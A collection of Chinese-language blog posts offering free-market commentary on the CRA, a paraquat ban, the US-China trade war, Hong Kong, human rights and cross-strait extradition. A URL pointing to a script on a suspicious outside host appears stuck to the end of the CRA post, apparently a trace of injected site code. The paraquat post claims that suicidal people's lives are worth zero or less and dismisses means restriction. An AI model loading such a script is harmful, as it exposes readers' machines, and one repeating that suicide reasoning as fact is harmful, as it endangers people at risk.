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隨筆

我也當一回鮮汁啦

我也難得成為鮮汁啦~
5/26我就說:「很可能華為90日禁令展延期還沒到就被取消。」
6/29 WSJ: 川普同意美國企業對華為供貨以換取中國買進大量美國農產品

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經濟分析

08年金融風暴的元兇CRA陰魂不散

老讀者應該記得2009年3月我寫了一系列有關「08年金融風暴」成因的文章,其中在「金融風暴之我見(四)不是市場失敗,而是政府失敗!」(https://tinyurl.com/ycmj3f2z)一文中提到:

“卡特總統(Jimmy Carter)時代,更推出了CRA(Community Reinvestment Act)以及Equal Credit Opportunity Act兩項法案。前者逼迫銀行向低收入家庭或較貧困的社區提供住屋貸款,如有不從,則四大聯邦政府金融機構可以依法暫時中止這不從者的金融業務活動。後者同時也要求金融機構貸款時不得因種族、膚色、年齡、性別、宗教信仰、原國籍或其他身分,有所有歧視或差異對待。…..這一系列試圖要弭平種族、性別、宗教歧異的政治目標,表面上看來立意良善,但當變成法案執行時,往往成為肇事元兇。因為這些舉著道德大旗的左派人士,始終搞不清楚「天底下沒有白吃的午餐」這簡單道理。美國政府不僅僅透過法律去懲罰因基於風險考量而不願意貸款給貧困少數民族購屋的金融機構,還透過這兩家美國政府在後面撐腰的房貸公司,只管要滿足「人人有屋住」這種「社會道德責任」任務,不顧貸款人的信用能力如何之現況。其結果就是扭曲了市場;這也可以說是一種價格管制(prices control)– 將房貸利率不正常地壓低。同時也讓政治力可以介入單純的借貸市場。"

被扭曲的借貸市場從而無法透過市價或其他契約條件安排來吸收與反應風險貼水。再加上房貸包裹證券化的推波助瀾,本應該是個人風險的房貸從而被轉化為整個金融領域的系統性風險,此外對部分參與者而言,風險還被放大。

很不幸的,近日我們又看到美國Federal Reserve Bank of San Francisco發佈研究報告,認為銀行應該遵循CRA法案提供貸款給中低收入戶去做「climate adaption」。

啥是climate adaption?報告中給出的定義是:「adjustment[s] in natural or human systems to a new or changing environment that exploits beneficial opportunities or moderates negative effects」

說了等於沒說。

而參照其他機構的說法,從安裝「綠屋頂(green roof)」到「將低窪地區居民遷往不淹水處」都算是climate adaption。

從經濟學來看,窮人之所以住在容易淹水處,正是因為這些地區的「房價比較便宜可負擔」。這是市場自然安排下必然發生的現象。同樣的,窮人的住宅之所以沒有綠屋頂,也是因為「花不起」。這跟窮人為什麼住不起帝寶是一樣的。

Fed of SF的研究主張其本質跟卡特總統時代的「人人有屋住」一樣都是試圖以政府的力量去干預某些人看不慣的市場安排。「居住正義」的追求結果就是一步步走向金融風暴;climate adaption的結果會是….?我不認為後者規模會比前者大,但浪費、無效率與尋租是必然出現的結果。我們也看得出來,CRA這種「訴求某種高大上價值」的災難元兇始終陰魂不散。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析

從「風險場」與「成本」觀念看蠢到死的巴拉刈禁用主張

目前某些人對於巴拉刈禁用的理由不外乎:

「此農藥食用後無從醫治,必死無疑且十分痛苦。」

此種論點顯然犯了經濟分析上常見的錯誤,在此我分兩層次簡單說明。

一、「風險場(Risk Field)」

在法律理論與實務上均有「權利主張者必須負擔舉證責任」、「因故意或過失的作為或不作為造成侵權行為損失者必須負擔損害賠償責任」或「契約債務不履行或不完全給付或因給付造成侵權行為者需負擔法律責任」…等法律原則本身,從法律經濟分析角度來看都是一種「風險場(Risk Field)」的概念。

風險場是我發明的詞彙,借鑑於物理學「場」的概念 — 「重力場」、「磁場」或「電場」。當某個空間存在一磁場,你用一堆屏蔽手段工具來試圖降低磁場影響力,都不如直接把磁鐵移除。

而從法律經濟分析角度看,某種人因其作為或不作為造成某種風險實現可能性的提升,就是「風險場」。而避免此風險實現機率提昇的最有效率/最低成本作法,通常是直接影響該人的作為或不作為。這就是為什麼無論英美法系或大陸法系,都殊途同歸地選擇讓直接造成風險實現機率提高的行為人(因其作為或不作為)負擔法律責任。

放到巴拉刈禁用事件支持方所聲稱的「自殺」理由來看,很明顯根本就是不成立的謬論。

自殺者「本人」才是自殺事件實現機率提高的關鍵,提高自殺手段成本只是自殺者依價格理論應會選擇其他較低成本手段。例如都市高樓林立,跳樓自殺相對容易;要在撒哈拉沙漠中找不到大樓跳也會用其他方式自殺。

利息角度看,自殺者之所以自殺顯然是其主觀認為「死亡帶來的效益大過於繼續活著」。只要這個想法存在,欲自殺者只會選擇成本較低可接受的手段,而不會改變自殺企圖與嘗試。

因此論者如果不能針對此點去做改變,則無論怎樣提高某種死亡手段的成本,也只是把欲自殺者往其他手段推去。換言之,禁用巴拉刈本就是一個「採取較低成本效益手段」的愚蠢主意。

二、「成本角度」

有種常見巨嬰心態:「為了某族群好/或自身偏好,犧牲其他族群的自由或權利,即便成本上升其他族群也理該接受。」其背後的邏輯機制往往是:「我比你更知道也更有資格決定資源該如何分配。」

說大白話,就是「我的價值偏好比其他人都重要。」

許多反對市場、要求政府介入的人往往如此,禁用巴拉刈事件也是如此。論者聲稱應該給自殺者第二次機會,所以農民的權益與自由就該被犧牲。

當反對者要求「主張禁令的人應該負擔農民與整體社會增加的成本費用時」,依據經濟學預測,主張者跑得不見人影純屬正常。

很明顯的,如果巴拉刈如論者所言這麼糟糕,那為何市場上始終有供有需呢?如果他種農藥真那麼好,那為何市場上沒有全面取代巴拉刈呢?為什麼論者認為自己比農藥市場上實際的供應與需求者更懂他們要什麼呢?

論者另一個的謬誤在於「暗暗假設『生命無價』」,但是事實上從經濟學與法律實證角度看,生命不但有價,而且這種欲自殺者往往已經「認定死亡比繼續存活更有利」,其生命價值早已是小於等於零,而非無限大。

三、「其他利益結構」

我並不清楚台灣禁用巴拉刈後,是否對某些特定利益團體更有利。這部份恐怕業內人士會更清楚點。

但我舉最近中美貿易戰下一個特殊案例供大家參考:

美國麻州的春田市從20世紀初就是火車車廂的製造重鎮,但隨著美國製造成本上升,該市於1970年代開始火車車廂工廠逐漸倒閉,市民收入下降經濟不景。

但自2014年起,中國繁榮且發達的高鐵、火車產業輸出,中國中車(CRRC)到此市以近$9500萬美元買下廢棄多年的工廠並重新建造新廠,聘僱數百名當地失業工人,重新開始大量生產火車車廂,並以此據點成功拿下波士頓、費城與洛杉磯市的捷運車廂訂單。整個城市近40年來的經濟陰霾一掃而空,似乎活力與繁榮又重回春田市。

沒想到2018年開始,川普總統等一干政客聲稱要拯救美國製造業而對中國提高關稅大打貿易戰,還聲稱中國中車的火車車廂影響美國國家安全,政府將出手限制甚至禁用。

才剛要重新振作的春田市工人,就在政客「為了你好,為了國家安全」等荒謬藉口下,恐又將面臨失業(因中國中車恐被趕出美國市場)。

當地工會主席John Scavotto Jr.對英國金融時報表示:「中國中車來此投資是上帝恩典(godsend),中國人提供的薪水福利十分優渥。…但華盛頓那幫傢伙要跟中國打仗,拜託饒過我們!我乞求華盛頓的人降尊紆貴來此看看,看看他們將造成怎樣的傷害,看看他們將把中國中車又趕跑,把我們剛復甦的產業又搞沒了。」

我們談過,華盛頓的政客有其自身利益需求而故意打毫無根據的中美貿易戰,但其裝飾的詞藻依然不外乎聲稱「為了人民好、為了國家好」。只是,事實通常並非如此。

希望台灣禁用巴拉刈的提議只是因為蠢,而非因為其他更自私的理由。

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經濟分析 隨筆

我們不害怕恐懼,因為我們專門製造恐懼

白宮華人記者張經義的這篇文章(https://tinyurl.com/y5vybuj8),正好是我們談過:

民主制度下政客為了維持政權,有很高的誘因「自己創造假問題然後再假裝解決」。我稱之為「裝忙定律」。

川普對墨西哥忽然挑起的「欲以關稅解決非法移民問題」這件事,很明顯就是一個好例子。

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根據紐約時報報導:

“總之,協議簽了,川普自己發起了爭端,又「解決」自己發起的爭端,那爭議就解決了嗎?好像沒有。

第二天,《紐約時報》就爆料,協議大部分內容,其實是墨西哥方面今年3月就已經同意了,其中包括調派國民警衛隊到邊界。換句話說,川普舉起關稅大棒,得到的,竟然是幾個月前美墨之間就已經談好的協議,這可成了國際笑話。

這讓川普急了,似乎為了挽回顏面,他不停推特反駁,還親自打電話進電視台澄清,甚至主動向記者喊話掏出神秘協議,說裡面還有不能公開的內容,要等墨西哥的立法機構通過才能說。

問題是,墨西哥方面已公開否認說有秘密協議,連川普的下屬,美國國土安全部代理部長麥卡利南(Kevin McAleenan) 在出席國會聽證接受質詢時,也答不上來是否有所謂秘密協議,只能顧左右而言他,說,川普說什麼,那就是什麼,別問他。"

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這也符合過去半年多來針對中美貿易戰,包含副總統彭斯的激烈談話,我都認為是雷大雨小的預測。(參見:
https://tinyurl.com/yd6qab2n)

但悲哀的也如我在「為何我一貫反對集會遊行與學運」一文中 (https://tinyurl.com/y6owsb3y) 所認為:

「民主政治下這類作秀行為都會高度簡化甚至扭曲事實、問題與解答。」

誠如上次我們談過,墨西哥非法移民問題起源於兩地實質收入相差天與地。就我所知,即便非法身分在美國當園丁或農工的amigo收入也遠高過留在家鄉。因此對經濟高度依賴出口美國的墨西哥(近70%出口對象是美國)課高關稅不但無助問題,還會反過來加劇狀況(因為關稅會加大美墨人民收入差距)。

但如果選民的經濟邏輯或感受不佳,川普的作秀很可能遂其所願。

至於川普的政績,我還是保持一樣的看法:減稅與放寬法規的確大幅改善美國經濟環境,有目共睹;但劇烈而寬緊無度、隨意且難以預測的「拿關稅解決一切問題」手段,提昇的交易費用與不確定性吃掉了前者帶來的經濟租值。而這塊成本在現今的全球價值鏈分工機制下由全體一起承擔。

這個「裝忙定律」於在野政客上亦適用。

回過頭看本次香港反逃犯條例修訂運動也是一例:某些政客與有心人士藉由販賣毫無根據的恐懼成功阻擋本該修訂的法律漏洞,沒人在乎慘死被分屍在台灣的年輕媽媽與胎兒。利害相關的受害人父母這段時間奔波努力期待兇手被繩之以法,如今情何以堪?而被誇大的法律風險事實上即便被海峽兩岸共同打擊犯罪及司法互助協議打臉(六年僅相互引渡405名嫌疑犯)。猶如台灣太陽花、反旺中等事件翻版 — 誇大甚至無中生有風險,藉機鬧事。

與此同時,我們也會看到更多事實上利害不相關卻被利用的覺青們如小丑一般拿著懶人包與假新聞跳樑。我們更會看到如這位小姐般的覺青:一方面主張台獨反中,一方面又去中國謀利求職。https://www.facebook.com/taidushashi/posts/1962688310502009

那中國會怎麼處理香港事件?我的看法:

首先請注意,中國一步步建立上海為金融中心的企圖始終存在,例如昨日掛牌的「滬倫通」 — 倫敦上海DR交易平台。上海目前是世界市值第七大交易所(香港為第六),倫敦是第四名。我相信中國會積極地與Top10名單尋求合作。

以及人民幣石油結算與期貨機制等。一個有趣的點是:中國強調透過人民幣石油交易平台結算的人民幣均可直接在上海黃金交易所兌換黃金,這很明顯是大幅建立國際交易者對人民幣信心而下的錨了。

雖然真正會去拉實體黃金的人應該絕無僅有,但對信心加強而言效果值得期待。

順道一提,中國可是世界第一大黃金生產國!也是世界第三大探明黃金儲量國。這也應該是中國政府有恃無恐地掛勾黃金的理由之一。

想太多?不見得。

英國金融時報6/14一篇專欄「How the US is weaponizing the wold economy」恰好談到我的想法:

美國威脅設立於布魯塞爾的私人公司SWIFT不得協助伊朗提供石油結算金融服務,SWIFT也妥協了。看似美國始終能利用自己的經濟與軍事地位在國際上為所欲為?

該專欄作者提出上一個這樣做的正是英國,透過20世紀初期英國倫敦的世界金融中心地位,在銀行、電報系統與海事保險方面制裁敵對國家德國。結果間接引發第一次世界大戰且英國也失去帝國與金融中心的力量。

誠如經濟學大師張五常曾言:英國留給香港的致命定時炸彈就是福利制度與臨走前才建立的民主制度。

恰好與多數覺青想像相反,越發民主的香港,已經逐漸玩掉自己的未來。而中國的越趨冷漠,恐怕並非退讓,而是蜘蛛看著收網的蟲子垂死掙扎。窮港政策會與窮台政策一樣被暗暗地當做主旋律彈奏,台灣有高度配合的小英政府忠實履行(一例一休、非核家園與各式民粹),香港要找個類似執行者並不難。

別忘了(最近我才發現有人竟然不知道),1997年香港主權已經回歸中國,香港正式名稱是「中華人民共和國香港行政特區」。中國國家的主權(sovereign)當然及於香港,而主權的內涵本就是「武斷的制定與執行法律(exclusive power to make and enforce law)」。別忘了依據「香港特別行政區基本法」§2,香港享有的高度自治權與獨立司法全可是「由全國人民代表大會授權」。

全國人民代表大會可授權,當然亦可收回。

與此同時,行政舉措較香港更貼近中國意志的澳門特區,與中國直接轄下的深圳表現均遠勝香港,換言之,如果說香港證明一國兩制失敗的同時,也澳門、深圳恰恰也證明一國一制才是王道。

我也說過,香港獨特的租值來自於中國的自我封閉(以及1970年代以前的歐美封閉)。改革開放後,在中國逐漸融入世界市場且要素平價的影響之下,香港租值越來越低是必然結果。因此,我認為中國只是在等一個處理香港的成本「可容忍」的點到來,而非退讓。站在這點看,我相信中國也不會太在乎香港於WTO的獨立關稅地位。

暴風雨前的寧靜,吃瓜群眾就等看戲。

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經濟分析 法律

關於人權與覺青隨筆

中國國家主席劉少奇當年拿著中國憲法照樣被批鬥到死;相較現在中國網路只是不讓一般民眾貼某些文,正好印證經濟學理論—財富增加過程人權會隨之改善。

人均收入看中國才剛剛富起來,當然不可能一步到位地各項人權都滿分。

某些人只會看缺失,卻無能理解短短三十年內改善幅度有多巨大。其實可悲可笑的是這些人。

此外,覺青們怎麼嘲笑中國人權問題都無助於改善問題。

說過了,讓中國增加生產力、更加融入全球市場,使得言論對他人收入(特別是政客官員)影響力下降,言論監管費用增加而效益降低,自然會慢慢好起來。這層漸進式的改革思維,我不期待腦袋糨糊的覺青能理解,但真正做過事或創過業的人都知道我在說什麼。

改革越要一蹴可及,成本與動盪越大(對這點有疑惑的請先讀過A. A. Alchian 經濟大師1959年的『Cost and Output』與1968年的『Cost』兩篇鴻文,理解生產速率如何影響生產成本)。很可能你付出巨大代價只換來一點點進步(甚至其他面向因此退步)。漸進式改革不夠動人,卻是真正造福多數的作法。

話說回來,事實上覺青們根本不想幫助中國人活得更好,他們只是想自以為站在高點享受嘲笑與歧視他人的樂趣。尤其當他們發現經濟方面已經不能繼續嘲笑中國,所以只剩這點可以歧視。

換言之,口口聲聲講人權的,裡頭很多人根本不尊重人權發展的侷限條件與進步各有不同的現況,只是想滿足自卑而生的鄙視他人之慾望。

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經濟分析

一個預言存證

去年9月我就預測中美貿易戰會因為雙方政客有政治需求而長久找機會打下去,但因競爭與成本約束而始終「雷大雨小」。

我依據經濟學定律預測中國會因此被迫產業提昇,未來20年內「中國製造」將等同甚至優於「日本製造」。這點我在去年九月的文章就解釋過。

而推演到人權部分,這樣的產業升級將帶來貧富差距加大,貧者的人權條件進步速度恐怕會比富者慢,尤其是人力租值差異也會反應到人權部分。從而形成近似今日美國的社會狀況 — 鐵鏽地區的人均收入不到美國人平均收入5成,教育資源也不到全國平均一半。

中國政府如果有心改善這個必然發生的問題,方法如下:

1. 取消戶籍制度

2. 取消勞動合同法

3. 取消關稅

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經濟分析

答覆網友:經濟學看人權

答覆網友:

1. 因為論者根本不懂產權制度安排的不同會怎樣影響人權。
中國文化大革命的產權制度與政治表現掛勾,因此人人被迫表態,連拒絕發言的權利都沒有。因為言論的正確與否關係到自己乃至於他人的收入。
反之,私有產權發達國家,有關言論方面的刑事處罰與民事賠償都會跟著放寬,因為言論對他人收入影響不高時,言論內容並不會被管制。
這部份我針對言論自由談過,其他人權在經濟原理上也一樣適用。

2. 當國家窮到人民根本沒車時,就算婦女有權利考駕照也沒用。
猶如19世紀末到21世紀,即便美國已經解除黑奴一百多年,黑人的經濟地位並未受到改善。而黑人因假好心福利政策下教育水準是美國所有族群中最低落、犯罪率卻是最高,美國白人男性入獄服刑的可能性是 1/106;黑人男性他們一輩子當中會去坐牢的可能性則是 1/35。
而在訊息費用的影響下,黑人被誤認為「可能正在犯罪」的機率從而被警察騷擾控制的機率也遠高於白人、亞洲人。
所謂的「人權平等」只是口惠實不至的政治口號。事實上唯有真實改善黑人財富,黑人才會享有等同其他族群的人權。這點在成功的黑人富翁富婆身上都可以得證。
反之,很多經濟學研究指出林肯總統後,自由的黑奴生活條件反倒是遠不如奴隸時期。

3. 同樣的,當社會越富裕,女性的「生產力」也會隨之大增(因為整體社會生產依賴"智力"勝過"勞力",此侷限條件轉變對女性有利),這也意味著富裕社會中「歧視女性的成本大增」(其成本等於被放棄的女性勞動力)。
補充:人類考古學看來,20萬年歷史中前19萬年為採集狩獵時代,後1萬年進入農業時代,最近2、300年進入工業時代。
而19萬年以前的採集狩獵時期根據研究發現人類主要熱量來源60%以上是靠女性採集,40%以下是靠男人偶爾成功狩獵。因此女性邊際收入高過男性時,當時女性地位與男人平等,甚至許多神址是女性,社會結構是以女性為主。
這點在現代一些原始採集狩獵部落也一樣。
後1萬年進入農業時期,耕作土地面積有限下,男性邊際收入遠高於女性(靠體力活居多),女性地位開始低下。越是發達的農業社會女性地位往往越低。
但進入工業時代後期,發達的各種機器讓生產不再依靠「勞力」而是「廣泛的智力,包含合作能力、資訊採集能力(就是八卦力啦)、邏輯思考乃至於品味或想像力等,女性在許多方面比男性更有優勢、邊際產出更高下,女性地位就逐漸回升。這點未來一定會更明顯,尤其存在於後工業社會與原始農業社會之間。

4. 中國是一個非常好的經濟學實驗室。
如果你認真研讀1979年以前的中國生活方式,會發現「論資排輩」、「政治影響力」等等因素決定資源的使用權利。你有額外資產(例如一支瑞士手錶)甚至會被打為「走資派」而被嫉妒的人們藉機鬥爭搶奪瓜分所有財產。
如果你不是共產黨員,甚至一個月都難得能吃到肉、看到雞蛋。北方冬天更不可能吃到「洞子貨」(溫室蔬菜)。
但之後的私有產權制度建立與財富快速累積,現今多數中國人只要願意賺錢、願意花錢,他可以輕鬆享受到30年前必須是高幹才有的物質生活(冷氣、彩電、冬日鮮蔬、肉食、私家車….)
同樣的,現今的中國人也毋須被迫參與政治運動即可安家立命。現今的中國人也不用擔心自己手拿iPhone就要被群眾審判抄家。
這些,都是實實在在的人權條件改善。
補充:很多談人權的論者往往忽略 — 多數人權都需要財富來支撐才得以實現。

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法律

中國濫用引渡制度?看看統計數字吧!

海峽兩岸共同打擊犯罪及司法互助協議簽署6週年回顧與展望成果展的資料顯示:

“兩岸共同打擊犯罪及司法互助議題涉及主權及管轄,確實有一定難度,但當時協商的進度相當順利,民眾也有將近8成支持度。而協議簽署迄今,在兩岸相互請求司法協助的6萬7千多個案件中,已經完成了5萬5千多件,成功率高達81%,就全世界簽署司法互助的案例中,能做到這個程度的「非常少見」。特別在兩岸聯手打擊犯罪方面,這6年來總共破獲141個案件,逮捕6,200多人,同時相互遣返雙方通緝犯405人。" (https://tinyurl.com/yylzbsdd

這可是陸委會的官方新聞稿呢!

六年才互相遣返通緝犯405人,相對於台灣2千多萬人口、大陸十幾億人口來說,何來覺青口中「濫用制度、胡亂栽贓引渡」之有?

重說一次昨天的老話:「販賣恐懼是好生意,自古有之。只是最好你有本事當賣家,而不是被賣了還幫忙數鈔票的傻子。」

PS
其中從台灣引渡回大陸的罪犯根據該成果展報告指出的有:

1. 大陸武警張○清在陸犯案後,游泳偷渡至金門,旋遭內政部移民署查獲,並於98年9月26日遣返張嫌回陸。

2 大陸女子黃○隨團來臺觀光,隨即脫團行方不明,嗣黃女遭查獲賣淫, 並坦承冒用偽造身分證申辦來臺,移民署於99年2月間遣返黃嫌回陸。

3 移民署會同刑事局、海巡署等單位查獲在陸涉犯重大走私毒品案之陸籍通緝犯錢○南,並於99年11月10日將錢嫌遣返回陸。

4 移民署查獲在陸涉犯重大經濟犯罪案件之陸籍嫌犯葉○榮、何○等2人,並聯繫陸方,於101年12月17日將該2嫌遣返回陸。

5 移民署查獲在陸涉犯重大經濟犯罪案件之陸籍嫌犯曹○正,聯繫陸方後,於102 年6月28日將曹嫌遣返回陸。

6 移民署與法務部調查局合作查獲在陸涉犯重大經濟犯罪案件之陸籍嫌犯周○ 英,並聯繫陸方,於103年1月17日將周嫌遣返回陸。

7 移民署查獲在陸涉犯非法經營罪(婚姻仲介)之陸籍嫌犯薛○欽,聯繫陸方後,於103年 12月31日將薛嫌遣返回陸。

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法律

最高法院也認為中國司法可資信賴

最高法院《最高法院刑事判決一○一年度台上字第九○○號》:「惟大陸地區已於西元一九七九年七月間,公布施行「中華人民共和國刑事訴訟法」,嗣於西元一九九六 年又對上述刑事訴訟法作大幅度修正,其修正內涵兼顧打擊犯罪 與保護人權,並重視實體法之貫徹與程序法之遵守,雖非完美無瑕,但對訴訟之公正性與人權保障方面已有明顯進步,故該地區之法治環境及刑事訴訟制度,已有可資信賴之水準。」

連早在2012年的中華民國最高法院就認為中國司法已進步到可資信賴。

佐以昨天我指出:「世界經濟論壇的2017~2018司法指標,香港的司法獨立性是亞洲第1, 全球排名第13, 台灣是亞洲第11, 世界第48, 中國大陸的司法是亞洲第10, 全球排名第46。」

不曉得「咬死中國司法就是不可信任」的覺青證據何在?法律專業程度有比較高嗎?

看到某些人堅持世界經濟論壇報告是中國花錢買的,試問這份中華民國最高法院刑事判決也是中國花錢買的嗎?科科

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隨筆

其實你沒那麼重要


覺青,其實你們把台獨/反送中/民主自由喊得再用力,中國也不會因此真的逮捕你;假台獨政客也不會因此給你官位。


因為你們大部分的人重要性低到撼動不了前者的利益結構;也無法幫後者帶來看得上眼的實質好處。

或許他們會「裝得有點在乎你」,也僅止於禮貌上、口頭上,畢竟你也流血流汗嘛。但其實你真的沒那麼重要。

我知道聽得很難過,就像你發現心儀的對象不喜歡你甚至也不討厭你,他/她,根本不在乎你。

我知道要你們懂產權經濟學、制度經濟學或阿羅難能定律,知道民主是個糟糕的制度、了解產權、財富對人權的影響遠大於政治口號或遊行運動,只是緣木求魚。

但我知道總有一天你們自己也會發現,你們在你們所珍視的政治偶像眼中,真的不重要 。

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